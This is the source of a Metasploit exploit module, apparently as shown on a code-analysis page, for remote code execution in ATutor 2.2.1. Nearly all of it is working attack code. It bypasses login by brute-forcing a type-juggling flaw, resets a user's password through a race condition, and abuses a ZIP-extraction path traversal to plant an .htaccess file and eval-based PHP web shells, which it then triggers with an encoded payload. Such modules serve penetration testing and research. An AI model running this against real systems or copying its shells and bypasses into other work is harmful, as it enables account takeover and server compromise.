rapid7/metasploit-framework

View on GitHub
modules/exploits/linux/http/atutor_filemanager_traversal.rb

Summary

Maintainability
C
7 hrs
Test Coverage
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'ATutor 2.2.1 Directory Traversal / Remote Code Execution',
        'Description' => %q{
          This module exploits a directory traversal vulnerability in ATutor on an Apache/PHP
          setup with display_errors set to On, which can be used to allow us to upload a malicious
          ZIP file. On the web application, a blacklist verification is performed before extraction,
          however it is not sufficient to prevent exploitation.

          You are required to login to the target to reach the vulnerability, however this can be
          done as a student account and remote registration is enabled by default.

          Just in case remote registration isn't enabled, this module uses 2 vulnerabilities
          in order to bypass the authentication:

          1. confirm.php Authentication Bypass Type Juggling vulnerability
          2. password_reminder.php Remote Password Reset TOCTOU vulnerability
        },
        'License' => MSF_LICENSE,
        'Author' =>
          [
            'mr_me <steventhomasseeley[at]gmail.com>', # initial discovery, msf code
          ],
        'References' =>
          [
            [ 'URL', 'http://www.atutor.ca/' ], # Official Website
            [ 'URL', 'http://sourceincite.com/research/src-2016-09/' ], # Type Juggling Advisory
            [ 'URL', 'http://sourceincite.com/research/src-2016-10/' ], # TOCTOU Advisory
            [ 'URL', 'http://sourceincite.com/research/src-2016-11/' ], # Directory Traversal Advisory
            [ 'URL', 'https://github.com/atutor/ATutor/pull/107' ]
          ],
        'Privileged' => false,
        'Payload' =>
          {
            'DisableNops' => true
          },
        'Platform' => ['php'],
        'Arch' => ARCH_PHP,
        'Targets' => [[ 'Automatic', {}]],
        'DisclosureDate' => '2016-03-01',
        'DefaultTarget' => 0
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The path of Atutor', '/ATutor/']),
        OptString.new('USERNAME', [false, 'The username to authenticate as']),
        OptString.new('PASSWORD', [false, 'The password to authenticate with'])
      ]
    )
  end

  def post_auth?
    true
  end

  def print_status(msg = '')
    super("#{peer} - #{msg}")
  end

  def print_error(msg = '')
    super("#{peer} - #{msg}")
  end

  def print_good(msg = '')
    super("#{peer} - #{msg}")
  end

  def check
    # there is no real way to finger print the target so we just
    # check if we can upload a zip and extract it into the web root...
    # obviously not ideal, but if anyone knows better, feel free to change
    unless datastore['USERNAME'] && datastore['PASSWORD']
      # if we cant login, it may still be vuln
      return Exploit::CheckCode::Unknown 'Check requires credentials. The target may still be vulnerable. If so, it may be possible to bypass authentication.'
    end

    student_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], check = true)
    if !student_cookie.nil? && disclose_web_root
      begin
        if upload_shell(student_cookie, check = true) && found
          return Exploit::CheckCode::Vulnerable
        end
      rescue Msf::Exploit::Failed => e
        vprint_error(e.message)
      end
    end
    return Exploit::CheckCode::Unknown
  end

  def create_zip_file(check = false)
    zip_file = Rex::Zip::Archive.new
    @header = Rex::Text.rand_text_alpha_upper(4)
    @payload_name = Rex::Text.rand_text_alpha_lower(4)
    @archive_name = Rex::Text.rand_text_alpha_lower(3)
    @test_string = Rex::Text.rand_text_alpha_lower(8)
    # we traverse back into the webroot mods/ directory (since it will be writable)
    path = "../../../../../../../../../../../../..#{@webroot}mods/"

    # we use this to give us the best chance of success. If a webserver has htaccess override enabled
    # we will win. If not, we may still win because these file extensions are often registered as php
    # with the webserver, thus allowing us remote code execution.
    if check
      zip_file.add_file("#{path}#{@payload_name}.txt", @test_string.to_s)
    else
      register_file_for_cleanup('.htaccess', "#{@payload_name}.pht", "#{@payload_name}.php4", "#{@payload_name}.phtml")
      zip_file.add_file("#{path}.htaccess", 'AddType application/x-httpd-php .phtml .php4 .pht')
      zip_file.add_file("#{path}#{@payload_name}.pht", "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")
      zip_file.add_file("#{path}#{@payload_name}.php4", "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")
      zip_file.add_file("#{path}#{@payload_name}.phtml", "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")
    end
    zip_file.pack
  end

  def found
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'mods', "#{@payload_name}.txt")
    })
    if res && (res.code == 200) && res.body =~ /#{@test_string}/
      return true
    end

    return false
  end

  def disclose_web_root
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'jscripts', 'ATutor_js.php')
    })
    @webroot = '/'
    @webroot << Regexp.last_match(1) if res && res.body =~ %r{\<b\>/(.*)jscripts/ATutor_js\.php\</b\> }
    if @webroot != '/'
      return true
    end

    return false
  end

  def call_php(ext)
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'mods', "#{@payload_name}.#{ext}"),
      'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n"
    }, timeout = 0.1)
    return res
  end

  def exec_code
    res = call_php('pht')
    unless res
      res = call_php('phtml')
      unless res
        call_php('php4')
      end
    end
  end

  def upload_shell(cookie, check)
    post_data = Rex::MIME::Message.new
    post_data.add_part(create_zip_file(check), 'application/zip', nil, "form-data; name=\"file\"; filename=\"#{@archive_name}.zip\"")
    post_data.add_part(Rex::Text.rand_text_alpha_upper(4).to_s, nil, nil, 'form-data; name="submit_import"')
    data = post_data.to_s
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'mods', '_standard', 'tests', 'question_import.php'),
      'method' => 'POST',
      'data' => data,
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
      'cookie' => cookie,
      'vars_get' => {
        'h' => ''
      }
    })
    if res && res.code == 302 && res.redirection.to_s.include?('question_db.php')
      return true
    end

    # unknown failure...
    fail_with(Failure::Unknown, 'Unable to upload php code')
    return false
  end

  def find_user(cookie)
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'users', 'profile.php'),
      'cookie' => cookie,
      # we need to set the agent to the same value that was in type_juggle,
      # since the bypassed session is linked to the user-agent. We can then
      # use that session to leak the username
      'agent' => ''
    })
    username = Regexp.last_match(1).to_s if res && res.body =~ %r{<span id="login">(.*)</span>}
    if username
      return username
    end

    # else we fail, because we dont know the username to login as
    fail_with(Failure::Unknown, 'Unable to find the username!')
  end

  def type_juggle
    # high padding, means higher success rate
    # also, we use numbers, so we can count requests :p
    for i in 1..8
      for @number in ('0' * i..'9' * i)
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'confirm.php'),
          'vars_post' => {
            'auto_login' => '',
            'code' => '0' # type juggling
          },
          'vars_get' => {
            'e' => @number, # the bruteforce
            'id' => '',
            'm' => '',
            # the default install script creates a member
            # so we know for sure, that it will be 1
            'member_id' => '1'
          },
          # need to set the agent, since we are creating x number of sessions
          # and then using that session to get leak the username
          'agent' => ''
        }, redirect_depth = 0) # to validate a successful bypass
        if res && (res.code == 302)
          cookie = "ATutorID=#{Regexp.last_match(3)};" if res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*); ATutorID=(.*);/
          return cookie
        end
      end
    end
    # if we finish the loop and have no sauce, we cant make pasta
    fail_with(Failure::Unknown, 'Unable to exploit the type juggle and bypass authentication')
  end

  def reset_password
    # this is due to line 79 of password_reminder.php
    days = (Time.now.to_i / 60 / 60 / 24)
    # make a semi strong password, we have to encourage security now :->
    pass = Rex::Text.rand_text_alpha(32)
    hash = Rex::Text.sha1(pass)
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'password_reminder.php'),
      'vars_post' => {
        'form_change' => 'true',
        # the default install script creates a member
        # so we know for sure, that it will be 1
        'id' => '1',
        'g' => days + 1, # needs to be > the number of days since epoch
        'h' => '', # not even checked!
        'form_password_hidden' => hash, # remotely reset the password
        'submit' => 'Submit'
      }
    }, redirect_depth = 0) # to validate a successful bypass

    if res && (res.code == 302)
      return pass
    end

    # if we land here, the TOCTOU failed us
    fail_with(Failure::Unknown, 'Unable to exploit the TOCTOU and reset the password')
  end

  def login(username, password, check = false)
    hash = Rex::Text.sha1(Rex::Text.sha1(password))
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'login.php'),
      'vars_post' => {
        'form_password_hidden' => hash,
        'form_login' => username,
        'submit' => 'Login',
        'token' => ''
      }
    })
    # poor php developer practices
    cookie = "ATutorID=#{Regexp.last_match(4)};" if res && res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*); ATutorID=(.*); ATutorID=(.*);/
    if res && res.code == 302
      if res.redirection.to_s.include?('bounce.php?course=0')
        return cookie
      end
    end
    # auth failed if we land here, bail
    unless check
      fail_with(Failure::NoAccess, "Authentication failed with username #{username}")
    end
    return nil
  end

  def exploit
    # login if needed
    if datastore['USERNAME'] && datastore['PASSWORD']
      store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])
      student_cookie = login(datastore['USERNAME'], datastore['PASSWORD'])
      print_good("Logged in as #{datastore['USERNAME']}")
    # else, we reset the students password via a type juggle vulnerability
    else
      print_status('Account details are not set, bypassing authentication...')
      print_status('Triggering type juggle attack...')
      student_cookie = type_juggle
      print_good("Successfully bypassed the authentication in #{@number} requests !")
      username = find_user(student_cookie)
      print_good("Found the username: #{username} !")
      password = reset_password
      print_good("Successfully reset the #{username}'s account password to #{password} !")
      report_cred(user: username, password: password)
      student_cookie = login(username, password)
      print_good("Logged in as #{username}")
    end

    if disclose_web_root
      print_good('Found the webroot')
      # we got everything. Now onto pwnage
      if upload_shell(student_cookie, false)
        print_good('Zip upload successful !')
        exec_code
      end
    end
  end
end

def service_details
  super.merge({ post_reference_name: refname })
end